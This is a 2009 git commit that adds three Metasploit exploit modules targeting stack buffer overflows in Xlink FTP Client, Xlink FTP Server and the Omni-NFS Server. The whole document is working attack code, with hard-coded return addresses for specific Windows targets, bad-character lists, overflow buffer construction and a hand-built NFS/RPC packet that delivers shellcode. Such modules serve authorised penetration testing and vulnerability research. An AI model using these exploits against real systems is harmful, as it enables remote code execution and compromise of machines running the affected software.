added exploit modules xlink_nfsd.rb, xlink_client.rb and xlink_server.rb

git-svn-id: file:///home/svn/framework3/trunk@7123 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Mario Ceballos 2009-10-03 23:05:44 +00:00
parent 06818ae2bf
commit 65e57f209a
3 changed files with 233 additions and 0 deletions

View File

@ -0,0 +1,70 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Xlink FTP Client Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Xlink FTP Client 32
Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.
When a overly long FTP server response is recieved by a client,
arbitrary code may be executed.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'URL', 'http://www.metasploit.com/' ],
[ 'URL', 'http://www.xlink.com' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 550,
'BadChars' => "\x00\x0a\x0d\().,",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x7d054897 } ],
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7ce02a2d } ],
],
'Privileged' => false,
'DisclosureDate' => 'Oct 3 2009',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
], self.class)
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
sploit = rand_text_alpha_upper(260) + [target.ret].pack('V') + payload.encoded
sploit << rand_text_alpha_upper(1024 - payload.encoded.length) + "\r\n"
print_status("Sending #{self.name}...")
client.put(sploit)
handler(client)
service.close_client(client)
end
end

View File

@ -0,0 +1,79 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Xlink FTP Server Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Xlink FTP Server
that comes bundled with Omni-NFS Enterprise 5.2.
When a overly long FTP request is sent to the server,
arbitrary code may be executed.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:$',
'References' =>
[
[ 'URL', 'http://www.metasploit.com/' ],
[ 'URL', 'http://www.xlink.com' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 260,
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Omni-NFS Enterprise V5.2', { 'Ret' => 0x1001f09c } ], # OmniEOM.DLL 1.0.0.1
],
'DisclosureDate' => 'Oct 3 2009',
'DefaultTarget' => 0))
deregister_options('FTPUSER', 'FTPPASS')
end
def check
connect
disconnect
if (banner =~ /XLINK FTP Server/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
sploit = payload.encoded + [target.ret].pack('V')
sploit << rand_text_alpha_upper(2024 - payload.encoded.length) + "\r\n"
print_status("Trying target #{target.name}...")
sock.put(sploit)
handler
disconnect
end
end

View File

@ -0,0 +1,84 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Omni-NFS Server Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Xlink Omni-NFS Server 5.2
When sending a specially crafted nfs packet, an attacker may be able
to execute arbitrary code.
},
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '20941' ],
[ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 336,
'BadChars' => "\x00",
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP4 English', { 'Ret' => 0x0040bb2e } ],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 06 2006'))
register_options([Opt::RPORT(2049)], self.class)
end
def exploit
connect
buff = payload.encoded
buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)
buff << [target.ret].pack('V')
buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string
buff << rand_text_english(251)
pkt = [1].pack('N')
pkt << [0].pack('N')
pkt << [2].pack('N')
pkt << [100005].pack('N')
pkt << [1].pack('N')
pkt << [1].pack('N')
pkt << [1].pack('N')
pkt << [400].pack('N')
pkt << buff[0,400]
pkt << [1].pack('N')
pkt << [400].pack('N')
pkt << buff[300,400]
sploit = [pkt.length | 0x80000000].pack('N') + pkt
print_status("Trying target #{target.name}...")
sock.put(sploit)
handler
disconnect
end
end